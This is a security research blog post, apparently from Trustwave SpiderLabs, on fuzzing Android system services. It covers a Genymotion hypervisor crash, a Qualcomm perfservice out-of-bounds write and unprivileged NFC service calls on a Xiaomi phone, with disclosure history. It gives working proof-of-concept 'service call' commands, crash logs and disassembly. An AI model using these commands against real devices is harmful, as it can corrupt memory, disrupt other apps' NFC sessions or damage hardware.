Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More

Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More

Services
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Security
Unlock the full power of Microsoft Security
Offensive Security
Solutions to maximize your security ROI
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

Hunting for Android Privilege Escalation with a 32 Line Fuzzer

Trustwave SpiderLabs tested a couple of Android OS-based mobile devices to conduct the research on privilege escalation scenarios. Specifically, we wanted to show a straightforward process attackers may use to exploit vulnerabilities in an Android device’s system services and systems.

The testing revealed that, in some cases, exploiting the issues we found were very easy. It became apparent that some vendors have problems integrating the Android OS with third-party hardware, did not conduct security checks properly, and some third-party software was provided to vendors with vulnerabilities.

 Exploiting vulnerabilities in system services is a common way to escalate privileges in modern operating systems since those services typically run at the highest system permissions. The Android operating system isn’t any different. System services are exporting calls for the Android Framework API, which is using these calls for implementing its own API. The Android System Framework implementation on each phone model differs for each manufacturer, since the services and hardware are unique for each manufacturer. Without a standardized implementation, we can expect various security issues in this OS layer. The full stack of this architecture is explained below.

 

Hunting-for-Android-Privilege-1Figure 1: Android architecture

https://source.android.com/docs/core/architecture#architecture

 

This blog post covers a simple (but surprisingly efficient) fuzzing algorithm and basic analysis of the vulnerabilities we found in three different Android-based devices.

 To create a PoC service fuzzer algorithm we’ll use a standard Android program available on all Android system compilations - /system/bin/service (https://android.googlesource.com/platform/frameworks/native/+/master/cmds/service/service.cpp). In a nutshell, this binary is available as part of the system. It uses the IServiceManager API, that’s based on the binder interface and can be used for communicating with the system services. You can create/modify your own custom /system/bin/service binary by compiling the full Android OS.

The parameters this program takes are described below:

 $ adb shell “service -h”

Usage: service [-h|-?]

       service list

       service check SERVICE

       service call SERVICE CODE [i32 N | i64 N | f N | d N | s16 STR ] ...

Options:

   i32: Write the 32-bit integer N into the send parcel.

   i64: Write the 64-bit integer N into the send parcel.

   f:   Write the 32-bit single-precision number N into the send parcel.

   d:   Write the 64-bit double-precision number N into the send parcel.

   s16: Write the UTF-16 string STR into the send parcel.

By typing the “service list” command in the ADB shell, we can list the available system services:

$ service list

Found 140 services:

    • sip: [android.net.sip.ISipService]

1 Genyd: [com.genymotion.genyd.IGenydService]

2 secure_element: [android.se.omapi.ISecureElementService]

<!—SpiderLabs Snip ->

 

To invoke a service call, we must define its arguments. The first argument is the service name, the second is an operation, the third is the call number, and the next N arguments are the pairs with the type of data and a value.

 $ service call Genyd 1 i32 1                                                                                    

Result: Parcel(00000000 00000000 '........')

 

Having this knowledge (and poor combinatorics skills), the below Python PoC script has been created:

 

Hunting-for-Android-Privilege-2Figure 2: Fuzzing algorithm

 

Bear in mind that the above Python code snippet is only used for expressing the algorithm idea, it lacks the ADB interface implementation, log handling, and process monitoring. These features are not the subject of this blog post. The final fuzzer should be an Android application enabling the specific permissions (for example android.permission.BLUETOOTH). You can try to improve the testing coverage by replacing the “itertools.combinations” with “itertools.product” function. This basic algorithm is producing the data and prints it to the standard output for the demonstration purpose.

 

NOTE: Please think twice before running any kind of the further described test cases as some of them can damage your hardware!

 

1st Target - Genymotion Hypervisor memory corruption at SettingsModule::processParameterNotification (CVE-N/A)

 

Trustwave SpiderLabs raised this issue with the vendor but received no reply. However, the problem was silently patched in the versions starting from 3.2.0. No security bulletin has been released by Genymobile, and the vulnerable service has been removed from the later versions.

The issue lies in the Genyd system service. This service is responsible for the communication with the virtual machine hypervisor process (player.exe) and provides some functionalities like setting the VM ID from inside the VM. As a hypervisor, we have a modified VirtualBox under the hood.

 

The post execution output of our fuzzer:

$ python3.5 ./fuzzer.py Genyd

<!—SpiderLabs Snip à

service call Genyd 24 d "4294967294" f "-1" f "3.141592" 

service call Genyd 25 

service call Genyd 25 i64 "18446744073709551614" 

service call Genyd 25 i64 "18446744073709551615" 

service call Genyd 25 i64 "1" 

service call Genyd 25 i64 "0" 

service call Genyd 25 i32 "1" 

service call Genyd 25 i32 "0" 

service call Genyd 25 i32 "65535" 

service call Genyd 25 i32 "4294967294" 

service call Genyd 25 i32 "18446744073709551614" 

service call Genyd 25 s16 "3%%n%%x%%s%s%%n1" 

service call Genyd 25 s16 "AAAAAAAAAA" 

service call Genyd 25 s16 "A A A A " 

<!—SpiderLabs Snip à

 

The targeted Genymotion hypervisor process (player) has crashed. The below PoC confirming the CPU registers control has been reconstructed based on the fuzzer logs and crash analysis:

# adb -s 192.168.56.119:5555 shell

root@android:/ # service call Genyd 25 s16 "AAAA"

Result: Parcel(00000000   '....')

root@android:/ # service call Genyd 25 s16 "BBBBBBBBBBBB PPPPPPPPPPPPPPPPPPP"

Result: Parcel(00000000   '....')

root@android:/ #

  

The red-highlighted service calls have been monitored by the GDB debugger session attached to the hypervisor process (player). You also can see that the Genymotion hypervisor process (player) has crashed and the $RDX CPU register value is now controlled by an attacker.

 root@genypoc # ps -A | grep play

52954 ?       00:00:01 player

root@genypoc # gdb

GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2

 <!—SpiderLabs Snip à

 gef➤ attach 52954

Attaching to process 52954

[New LWP 52955]

 <!—SpiderLabs Snip à

 gef➤ c

Continuing.

[Thread 0x7f19fcb40700 (LWP 52958) exited]

 Thread 1 "player" received signal SIGSEGV, Segmentation fault.

0x00007f1a0e91ef63 in SettingsModule::processParameterNotification(QString const&) () from /home/user/Downloads/genymotion/libcom.so.1

 [ Legend: Modified register | Code | Heap | Stack | String ]

 ───── registers ────

$rax   : 0x000000038368f0 → 0x0000000200000001

$rbx   : 0x007ffedf1f2a60 → 0x000000038368f0 → 0x0000000200000001

$rcx   : 0x1              

$rdx   : 0x41004100410041

$rsp   : 0x007ffedf1f2a20 → 0x0000000000000007

$rbp   : 0x00000002cbb1e0 → 0x007f1a0eb51198 → 0x007f1a0e93b160 → <SettingsModule::metaObject()+0> mov rdi, QWORD PTR [rdi+0x8]

$rsi   : 0x0              

$rdi   : 0x1              

$rip   : 0x007f1a0e91ef63 → <SettingsModule::processParameterNotification(QString+0> mov eax, DWORD PTR [rdx]

$r8   : 0x0              

$r9   : 0x1              

$r10   : 0x00000003836900 → 0x00000003796e50 → 0x0000001300000002

$r11   : 0x00000003796e68 → 0x50005000500050 ("P"?)

$r12   : 0x007ffedf1f2a80 → 0x41004100410041 ("A"?)

$r13   : 0x007ffedf1f2a40 → 0x000000046efc70 → 0x0000000200000001

$r14   : 0x007ffedf1f2a50 → 0x00000003796e50 → 0x0000001300000002

$r15   : 0x007ffedf1f2a50 → 0x00000003796e50 → 0x0000001300000002

$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]

$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00

 ───── stack ────

0x007ffedf1f2a20│+0x0000: 0x0000000000000007   ← $rsp

0x007ffedf1f2a28│+0x0008: 0x007f1a0c1ba69a → <QString::compare_helper(QChar+0> mov rdi, QWORD PTR [rsp+0x18]

0x007ffedf1f2a30│+0x0010: 0x00000002cbb218 → 0x000000035a5b50 → 0x0000000500000001

0x007ffedf1f2a38│+0x0018: 0x00000002cbb220 → 0x00000003602060 → 0x0000000600000001

0x007ffedf1f2a40│+0x0020: 0x000000046efc70 → 0x0000000200000001  ← $r13

0x007ffedf1f2a48│+0x0028: 0x0000000000002b ("+"?)

0x007ffedf1f2a50│+0x0030: 0x00000003796e50 → 0x0000001300000002  ← $r14, $r15

0x007ffedf1f2a58│+0x0038: 0x007f1a0c142acd → <QArrayData::allocate(unsigned+0> mov rdx, rax

 ───── code:x86:64 ────

    0x7f1a0e91ef55 <SettingsModule::processParameterNotification(QString+0> movsxd rdx, DWORD PTR [rax+0x8]

    0x7f1a0e91ef59 <SettingsModule::processParameterNotification(QString+0> mov   rdx, QWORD PTR [rax+rdx*8+0x10]

    0x7f1a0e91ef5e <SettingsModule::processParameterNotification(QString+0> mov   QWORD PTR [rsp+0x60], rdx

→ 0x7f1a0e91ef63 <SettingsModule::processParameterNotification(QString+0> mov   eax, DWORD PTR [rdx]

    0x7f1a0e91ef65 <SettingsModule::processParameterNotification(QString+0> add   eax, 0x1

    0x7f1a0e91ef68 <SettingsModule::processParameterNotification(QString+0> cmp   eax, 0x1

    0x7f1a0e91ef6b <SettingsModule::processParameterNotification(QString+0> jbe   0x7f1a0e91ef71 <_ZN14SettingsModule28processParameterNotificationERK7QString+801>

    0x7f1a0e91ef6d <SettingsModule::processParameterNotification(QString+0> lock   add DWORD PTR [rdx], 0x1

    0x7f1a0e91ef71 <SettingsModule::processParameterNotification(QString+0> mov   rax, QWORD PTR [rsp+0x40]

───── threads ────

[#0] Id 1, Name: "player", stopped 0x7f1a0e91ef63 in SettingsModule::processParameterNotification(QString const&) (), reason: SIGSEGV

 <!—SpiderLabs Snip à

 ───── trace ────

[#0] 0x7f1a0e91ef63 → SettingsModule::processParameterNotification(QString const&)()

[#1] 0x7f1a0e908617 → RedisDispatcher::dispatch(QString const&, QString const&)()

[#2] 0x7f1a0c33b7e6 → QMetaObject::activate(QObject*, int, int, void**)()

[#3] 0x7f1a0e92f957 → RedisSubscriber::newMessageReceived(QString const&, QString const&)()

[#4] 0x7f1a0e905d6b → callback_message(redisAsyncContext*, void*, void*)()

[#5] 0x7f1a0efa12ee → redisProcessCallbacks()

[#6] 0x7f1a0c33b4b9 → QMetaObject::activate(QObject*, int, int, void**)()

[#7] 0x7f1a0c3476d8 → QSocketNotifier::activated(int, QSocketNotifier::QPrivateSignal)()

[#8] 0x7f1a0c347a3b → QSocketNotifier::event(QEvent*)()

[#9] 0x7f1a0b55e7ec → QApplicationPrivate::notify_helper(QObject*, QEvent*)()

──────────

gef➤

 Further testing established that some input data could lead to control of the pointer of a QList element, this may end with the crash on a free() with an attacker's provided argument.

This situation gives us some perspective for conducting memory corruption attacks like double-free or use-after-free. However,   a second exploit is required that would provide a leaked heap pointer for this scenario to materialize. Luckily for the developers, the service does not crash when the IPC parcels are sent from the regular APK application. That means that the exploit must be sent as the ADB shell user. Still, a limited surface for an attack exists.

 

2nd Target - Qualcomm perfservice daemon Out-Of-Bound Memory Corruption (CVE-2020-3676)

 

Again, by typing the “service list” command, a list of available system services is shown. We can see the “vendor.perfservice” service is available for the ADB shell user:

 $ service list

Found 169 services:

0 com.qualcomm.location.izat.IzatService: [com.qti.izat.IIzatService]
<!—SpiderLabs Snip


162   vendor.perfservice: [com.qualcomm.qti.IPerfManager]

163   installd: []

<!—SpiderLabs Snip

service call vendor.perfservice 1 i32 1          

Result: Parcel(00000000 ffffffff   '........')

 

After we execute our fuzzer, we can see the below snippet of an output:

 $ python3.5 ./fuzzer.py
<!—SpiderLabs Snip à
service call vendor.perfservice 4 i32 "1" i32 "0"

service call vendor.perfservice 4 i32 "1" i32 "65535"

service call vendor.perfservice 4 i32 "1" i32 "4294967294"
<!—SpiderLabs Snip à

 

The below snippet shows the execution of the above calls:

 joan:/ $ service call vendor.perfservice 4 i32 "1" i32 "0"

Result: Parcel(00000000 ffffffff   '........')

joan:/ $ service call vendor.perfservice 4 i32 "1" i32 "65535"

Result: Parcel(00000000 ffffffff   '........')

joan:/ $ service call vendor.perfservice 4 i32 "1" i32 "4294967294"

Result: Parcel(Error: 0xffffffffffffffe0 "Broken pipe")

 During the logcat session, the following crash dump was intercepted for the /system/bin/perfservice binary:

joan:/ $ logcat -b crash  
01-24 16:14:32.437 16141 16141 F libc : Fatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7bdb76d8b0 in tid 16141 (perfservice), pid 16141 (perfservice)
01-24 16:14:32.462 18609 18609 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
01-24 16:14:32.462 18609 18609 F DEBUG : Build fingerprint: 'lge/joan_global_com/joan:9/PKQ1.190414.001/193091504cde8:user/release-keys'
01-24 16:14:32.462 18609 18609 F DEBUG : Revision: '13'
01-24 16:14:32.462 18609 18609 F DEBUG : ABI: 'arm64'
01-24 16:14:32.462 18609 18609 F DEBUG : pid: 16141, tid: 16141, name: perfservice >>> /system/bin/perfservice <<<
01-24 16:14:32.462 18609 18609 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7bdb76d8b0
01-24 16:14:32.462 18609 18609 F DEBUG : x0 00000071bc450000 x1 0000000000000001 x2 00000000fffffffe x3 0000007bdb76d8f0
01-24 16:14:32.462 18609 18609 F DEBUG : x4 000000000000002e x5 00000071bc42e3b2 x6 002e006d006f0063 x7 006c006100750071
01-24 16:14:32.462 18609 18609 F DEBUG : x8 00000055fefd0b94 x9 0000000400000000 x10 0000000000000000 x11 0000000000000072
01-24 16:14:32.462 18609 18609 F DEBUG : x12 006e0061004d0066 x13 0072006500670061 x14 ffffffffff000000 x15 ffffffffffffffff
01-24 16:14:32.462 18609 18609 F DEBUG : x16 00000055fefeced0 x17 00000071bcacf510 x18 0000000000000001 x19 0000007fdb76d9a0
01-24 16:14:32.462 18609 18609 F DEBUG : x20 00000071bc450000 x21 0000007fdb76da08 x22 0000000000000001 x23 00000000fffffffe
01-24 16:14:32.462 18609 18609 F DEBUG : x24 0000007bdb76d8f0 x25 00000071bcf615b8 x26 0000007fdb76d8f0 x27 0000000000000000
01-24 16:14:32.462 18609 18609 F DEBUG : x28 0000000000000000 x29 0000007fdb76d950
01-24 16:14:32.462 18609 18609 F DEBUG : sp 0000007bdb76d8f0 lr 00000055fefd075c pc 00000055fefd0b94
01-24 16:14:32.465 18609 18609 F DEBUG : backtrace:
01-24 16:14:32.465 18609 18609 F DEBUG : #00 pc 0000000000003b94 /system/bin/perfservice (android::PerfService::perfLockAcquire(int, int, int*))
01-24 16:14:32.465 18609 18609 F DEBUG : #01 pc 0000000000003758 /system/bin/perfservice (android::BnPerfManager::onTransact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+492)
01-24 16:14:32.466 18609 18609 F DEBUG : #02 pc 000000000004f998 /system/lib64/libbinder.so (android::BBinder::transact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+136)
01-24 16:14:32.466 18609 18609 F DEBUG : #03 pc 000000000005aa38 /system/lib64/libbinder.so (android::IPCThreadState::executeCommand(int)+520)
01-24 16:14:32.466 18609 18609 F DEBUG : #04 pc 000000000005a774 /system/lib64/libbinder.so (android::IPCThreadState::getAndExecuteCommand()+156)
01-24 16:14:32.466 18609 18609 F DEBUG : #05 pc 000000000005ae3c /system/lib64/libbinder.so (android::IPCThreadState::joinThreadPool(bool)+60)
01-24 16:14:32.466 18609 18609 F DEBUG : #06 pc 00000000000054f8 /system/bin/perfservice (main+452)
01-24 16:14:32.466 18609 18609 F DEBUG : #07 pc 00000000000ad7dc /system/lib64/libc.so (__libc_init+88)

 

The service is running as a system user:

 joan:/ $ ps -A | grep perf

root              64    2           0          0 0  0 S [perf]

root            538    2           0          0 0  0 S [msm_perf:events]

root         16129    1   22564   3680 0  0 S vendor.qti.hardware.perf@1.0-service

system    18612    1   21024   3348 0  0 S perfservice

 Additional tests as a regular Android application user confirmed that the bug is reachable from any application installed on the smartphone. The below command was used to confirm the control of the CPU registers, please note that the value 2442302356 is represented by the hex value 0x91929394 likewise the value -2 equals 0xfffffffe:

 joan $ service call vendor.perfservice 4 i32 2442302356 i64 -2

Result: Parcel(Error: 0xffffffffffffffe0 "Broken pipe")

 

The crash has been intercepted:

joan:/ $ logcat -b crash  
01-24 16:22:16.149 18612 18612 F libc : Fatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7bdb14a2c0 in tid 18612 (perfservice), pid 18612 (perfservice)
01-24 16:22:16.176 18795 18795 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
01-24 16:22:16.176 18795 18795 F DEBUG : Build fingerprint: 'lge/joan_global_com/joan:9/PKQ1.190414.001/193091504cde8:user/release-keys'
01-24 16:22:16.176 18795 18795 F DEBUG : Revision: '13'
01-24 16:22:16.176 18795 18795 F DEBUG : ABI: 'arm64'
01-24 16:22:16.176 18795 18795 F DEBUG : pid: 18612, tid: 18612, name: perfservice >>> /system/bin/perfservice <<<
01-24 16:22:16.176 18795 18795 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7bdb14a2c0
01-24 16:22:16.176 18795 18795 F DEBUG : x0 0000007ea2050000 x1 0000000091929394 x2 00000000fffffffe x3 0000007bdb14a300
01-24 16:22:16.176 18795 18795 F DEBUG : x4 000000000000002e x5 0000007ea202e3b2 x6 002e006d006f0063 x7 006c006100750071
01-24 16:22:16.176 18795 18795 F DEBUG : x8 000000562587eb94 x9 0000000400000000 x10 0000000000000000 x11 0000000000000072
01-24 16:22:16.176 18795 18795 F DEBUG : x12 006e0061004d0066 x13 0072006500670061 x14 ffffffffff000000 x15 ffffffffffffffff
01-24 16:22:16.176 18795 18795 F DEBUG : x16 000000562589aed0 x17 0000007ea2655510 x18 0000000000000001 x19 0000007fdb14a3b0
01-24 16:22:16.176 18795 18795 F DEBUG : x20 0000007ea2050000 x21 0000007fdb14a418 x22 0000000091929394 x23 00000000fffffffe
01-24 16:22:16.176 18795 18795 F DEBUG : x24 0000007bdb14a300 x25 0000007ea2b875b8 x26 0000007fdb14a300 x27 0000000000000000
01-24 16:22:16.176 18795 18795 F DEBUG : x28 0000000000000000 x29 0000007fdb14a360
01-24 16:22:16.176 18795 18795 F DEBUG : sp 0000007bdb14a300 lr 000000562587e75c pc 000000562587eb94
01-24 16:22:16.176 18795 18795 F DEBUG : backtrace:
01-24 16:22:16.176 18795 18795 F DEBUG : #00 pc 0000000000003b94 /system/bin/perfservice (android::PerfService::perfLockAcquire(int, int, int*))
01-24 16:22:16.176 18795 18795 F DEBUG : #01 pc 0000000000003758 /system/bin/perfservice (android::BnPerfManager::onTransact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+492)
01-24 16:22:16.176 18795 18795 F DEBUG : #02 pc 000000000004f998 /system/lib64/libbinder.so (android::BBinder::transact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+136)
01-24 16:22:16.176 18795 18795 F DEBUG : #03 pc 000000000005aa38 /system/lib64/libbinder.so (android::IPCThreadState::executeCommand(int)+520)
01-24 16:22:16.176 18795 18795 F DEBUG : #04 pc 000000000005a774 /system/lib64/libbinder.so (android::IPCThreadState::getAndExecuteCommand()+156)
01-24 16:22:16.176 18795 18795 F DEBUG : #05 pc 000000000005ae3c /system/lib64/libbinder.so (android::IPCThreadState::joinThreadPool(bool)+60)
01-24 16:22:16.176 18795 18795 F DEBUG : #06 pc 00000000000054f8 /system/bin/perfservice (main+452)
01-24 16:22:16.176 18795 18795 F DEBUG : #07 pc 00000000000ad7dc /system/lib64/libc.so (__libc_init+88)

 

A short snippet of the android::PerfService::perfLockAcquire function dissassemby:

 ;-- android::PerfService::perfLockAcquire(int, int, int*)

<-- SpiderLabs Snip -->

 

0x00003b88     add x1, x1, 0x5b5 ; 0x55b5 ; "PerfService"

0x00003b8c     add x2, x2, 0x667 ; 0x5667 ; "couldn't get uxe_event function handle."

0x00003b90     b 0x3b48

;-- aav.0x00003b94:

     0x00003b94     stp x24, x23, [sp, -0x40]! ; < ==== CRASH

     0x00003b98     stp x22, x21, [sp, 0x10]
<-- SpiderLabs Snip -->

 

 According to the ARM64 documentation, the STP instruction stores the values of registers x24, and x23 at the address provided by the third argument ([sp, -0x40]). An attacker can control the value to write, and the destination address ([sp, -0x40]) can be manipulated as well. The pseudo-code generated by the popular reverse engineering toolkit, Ghidra, helps with understanding the logic of this issue.

 

Hunting-for-Android-Privilege-3Figure 3: android::PerfService::perfLockAcquire pseudocode

 

The switch condition for case number #4 (line 62) is responsible for handling the call number 4 of the service. The third value that is being read from the user by an android::Parcel::readInt32 function returns the value “-2” and is used to calculate an offset for the stack variable. The vulnerability allows an attacker to overwrite a selected memory address towards the lower stack addresses, which, for the ARM architecture means overwriting a free and uninitialized memory, however, without limits for the boundary.

 

3rd Target - Xiaomi Redmi Note 10S - Multiple nfc.st_ext Service Vulnerabilities (CVE-2023-36629)

 

This time, the fuzzer found a couple of crashes during the nfc.st_ext service testing, the service runs on the Xiaomi Redmi Note 10S (MIUI 13.0.5 Stable). Further analysis confirmed possible exploitability of some findings. The issue was submitted to Xiaomi using one of the bug bounty platforms.

Besides the memory corruption vulnerabilities, I included in the issue submission a potential privilege escalation vulnerability, because any regular APK was able to execute evidently sensitive NFC service calls. After two months of pickling this issue, Xiaomi declined their responsibility and recommended submitting the issue to the STMicroelectronics, which I did.

 

Hunting-for-Android-Privilege-4Figure 4: Xiaomi response

 

STM analysed the issue quickly and patched the memory corruption issues. A couple of excessive, but potentially exploitable, API calls have been removed from their library. Interestingly, STM also declined any responsibility:

[…] Thank you for this report […]

Please note that the issues you’ve identified don’t affect an ST product. Instead, they impact an open-source library, provided under APACHE 2.0 licensing, we’ve used as an example of implementation for our customers (“Library”). You could find below the results of our analysis.[…]

And told us that the privilege-escalation issue did not exist in their builds:

[…]

1.Privilege escalation

Analysis

    • The nfc.st_ext service interface has “nfc_service” SELinux label, so applications capable to bind to NFC can bind to these extensions as well, this is not restrictive.
    • However, the services calls in this interface, that lead to sensitive operations such as programHceParameters, are checking that the caller process has the android.Manifest.permission.WRITE_SECURE_SETTINGS permission. 
    • Calling the service from adb, as shown in the report, bypasses this check. […]
[…]
3.Hardware damage

Analysis

    • Setting random parameters with setProprietaryConfigSettings may have caused an irreversible problem in this test sequence.
    • However, setProprietaryConfigSettings system call requires android.Manifest.permission.WRITE_SECURE_SETTINGS.
    • Calling the service from adb, as shown in the report, bypasses this check.

Corrective actions

No corrective action since only applications delivered by the OEM can set NFC controller parameters and so a third-party malicious APK would not be able to cause such damage to the NFC controller. [..]

 

At this step, we were able to prove that we could execute service calls as an APK on a Xiaomi Redmi 10S Note. However, since STM provides their code as open-source under APACHE 2.0 Licensing, they admit that how a vendor implements the library is up to them and certain implementations may have disabled the necessary permission check. STM reached out to Xiaomi to inform them of the issue.

 

Hello,

 

As the end product is developed and owned by its manufacture, Xiaomi Redmi, our analysis was not performed on Xiaomi Redmi 10S Note. We did perform an analysis on our internal reference device with latest version of our stack.

 

This appears to be the reason your demonstration on privilege escalation highlights a gap between the open-source reference code we used, which contains a permission check preventing these issues, and the open-source code used on the model you tested from Xiaomi Redmi.

 

As mentioned, the NFC service and its libraries are provided under APACHE 2.0 licensing so they can be modified by our customers. Based on your feedback, we have informed Xiaomi so it can address the issue on the models concerned.

 

For the issues affecting getProprietaryConfigSettings and nativeNfcStExtensions_getAvailableHciHostList, whether to post a Public Advisory on ST PSIRT website is still under discussion but we are taking the steps we have already identified in our earlier message. 

 

Thank you again for your report and cooperation.

 

The described issues could allow an attacker to interfere with the NFC communication of the other applications installed on the user’s device, set the NFC NCI configuration, and execute the raw HCI (Host-Controller-Interface) commands on the selected NFC pipe/card emulator. Some of the service calls incorrectly handle an input, leading to memory corruptions that might be used to inject the code into the context of the NFC system service. The case of a persistent hardware fault has been observed, when invoking a specific service call.

 The vulnerable system service com.android.nfc is located under the path: /system/system_ext/app/Nfc_st/Nfc_st.apk on the investigated Xiaomi Redmi Note 10s phone with firmware Android 12SP1A.210812.016, MIUI 13.0.5 Stable”.

 The tested device is exporting the nfc.st_ext service:

 rosemary:/ $ service list | grep nfc

142  mi_nfc: [com.xiaomi.nfc.IMiNfcAdapter]

176  nfc: [android.nfc.INfcAdapter]

177  nfc.st_ext: [com.st.android.nfc_extensions.INfcAdapterStExtensions]

178  nfc_settings: [com.mediatek.nfcsettingsadapter.INfcSettingsAdapter]

 

It’s been established that any application can exchange IPC calls with this service without the need to request any privileges, including the android.permission.WRITE_SECURE_SETTINGS and android.permission.NFC.

The below screenshot shows a snippet of the native functions identified in the com.android.nfc.dhimpl.NativeNfcStExtensions class implemented in the Nfc_st.apk. These native C/C++ functions are imported from the /system/system_ext/lib64/libstnfc_nci_jni.so library.

 

Hunting-for-Android-Privilege-5Figure 5: Nfc_St.apk decompiled view

 

Many of the above functions were available through the exported service calls without any privilege check. Especially, two functions specifically caught our eye – transceive and transceiveEE. The further content presents a PoC demo for the simple privilege escalation scenarios.

The following commands have been executed:

rosemary:/ $ service call nfc.st_ext 17 i32 6 i32 1 # connectGate

Result: Parcel(00000000 000000ff   '........')

 

rosemary:/ $ service call nfc.st_ext 18 i32 6 i32 2 s16 AA # transceive

Result: Parcel(00000000 00000000   '........')

 

rosemary:/ $ service call nfc.st_ext 19 i32 6 i32 1 # disconnectGate

This resulted in the following output in the logcat logs:

01-31 14:50:35.533 29259 29273 I NfcService: connectGate() - host_id = 6 - gate_id = 1
01-31 14:50:35.533 581 D StNfcHal: HAL st21nfc: StNfc_hal_write
01-31 14:50:35.53 581 29290 D StNfcHal: (#00047) Tx 01 00 03 (hidden)
01-31 14:50:35.534 581 29291 W StNfcHal: ! i2cWrite!!, errno is 'I/O error'
01-31 14:50:35.540 581 29291 D StNfcHal: (#00048) Rx 01 00 04 (hidden)
01-31 14:50:35.541 581 29291 D StNfcHal: (#00049) Rx 60 06 03 01 01 01
01-31 14:50:48.981 29259 29273 I NfcService: transceive() - pipe_id = 6 - HCI cmd = 2
01-31 14:51:33.781 29259 29312 I NfcService: disconnectGate() - pipe_id = 6

 

Although the above commands don’t execute any specific NFC action, the logcat logs show that the ADB shell user can send the HCI commands to the chosen pipe.

Further testing proved that any application on our Xiaomi smartphone can execute these service calls, and, therefore, interact with the other application’s emulated card/secure element. Both the kernel and the NFC service layer have access to sensitive information transmitted over NFC, while the user-mode apps are isolated from this sensitive information, enforcing the Android Framework API.

This bug would allow an attacker to bypass the framework layer and send the HCI packets directly to the device. Technical specification document ETSI TS 102 622 V13.0.0 describes the HCI NFC architecture and its features. These three calls mentioned above were removed from the android-packages-apps-NFC GitHub repository after our submission.

It’s also been proven that the incorrect execution of the com.android.nfc.NfcService.programHceParameters function can disconnect other applications from the NFC resulting in service disruption. Correct execution should allow an attacker to set HCE parameters.

rosemary:/ $ service call nfc.st_ext 34                                                                                                                                    

Result: Parcel(00000000   '....')

 

The above command execution as an application A resulted in the tag disconnection during the communication for application B.

01-31 15:19:49.321 581 D StNfcHal: HAL st21nfc: StNfc_hal_write
01-31 15:19:49.321 581 29290 D StNfcHal: (#014EC) Tx 21 04 03 01 04 02
01-31 15:19:49.323 581 29291 D StNfcHal: (#014ED) Rx 41 04 01 00
01-31 15:19:49.327 581 29291 D StNfcHal: (#014EE) Rx 61 05 1a 01 02 04 00 ff 00 0a 04 00 04 08 ff fe 68 01 20 00 00 00 00 05 04 78 80 70 02
01-31 15:19:49.328 581 29291 D StNfcHal: (#014EF) Rx 60 06 03 01 00 01
01-31 15:19:49.329 29259 29259 D NfcDispatcher: dispatchTag
01-31 15:19:49.329 29259 3413 D StNativeNfcTag: Starting background presence check
01-31 15:19:49.339 29259 29307 D NfcDispatcher: Set Foreground Dispatch
01-31 15:19:49.346 29259 29259 I NfcDispatcher: matched TECH override
01-31 15:19:49.347 29259 29307 I NfcService: programHceParameters() - setConfig: false
01-31 15:19:49.348 581 581 D StNfcHal: HAL st21nfc: StNfc_hal_write
01-31 15:19:49.348 581 29290 D StNfcHal: (#014F0) Tx 21 06 01 00
01-31 15:19:49.348 581 29291 D StNfcHal: (#014F1) Rx 41 06 01 00
01-31 15:19:49.349 29259 29273 D NfcDispatcher: Set Foreground Dispatch
01-31 15:19:49.352 581 29291 D StNfcHal: (#014F2) Rx 61 06 02 00 00
01-31 15:19:49.352 581 581 D StNfcHal: HAL st21nfc: StNfc_hal_write
01-31 15:19:49.353 581 29290 D StNfcHal: (#014F3) Tx 20 02 04 01 85 01 01
01-31 15:19:49.354 581 29291 D StNfcHal: (#014F4) Rx 40 02 02 00 00
01-31 15:19:49.355 581 581 D StNfcHal: HAL st21nfc: StNfc_hal_write
01-31 15:19:49.355 581 29290 D StNfcHal: (#014F5) Tx 20 02 01 00
01-31 15:19:49.356 581 29291 D StNfcHal: (#014F6) Rx 40 02 02 00 00
01-31 15:19:49.357 581 581 D StNfcHal: HAL st21nfc: StNfc_hal_write
01-31 15:19:49.357 581 29290 D StNfcHal: (#014F7) Tx 20 02 01 00
01-31 15:19:49.357 581 29291 D StNfcHal: (#014F8) Rx 40 02 02 00 00
01-31 15:19:49.358 581 581 D StNfcHal: HAL st21nfc: StNfc_hal_write
01-31 15:19:49.358 581 29290 D StNfcHal: (#014F9) Tx 20 02 01 00
01-31 15:19:49.359 581 29291 D StNfcHal: (#014FA) Rx 40 02 02 00 00
01-31 15:19:49.359 581 581 D StNfcHal: HAL st21nfc: StNfc_hal_pre_discover
01-31 15:19:49.359 581 581 D StNfcHal: HAL st21nfc: StNfc_hal_write
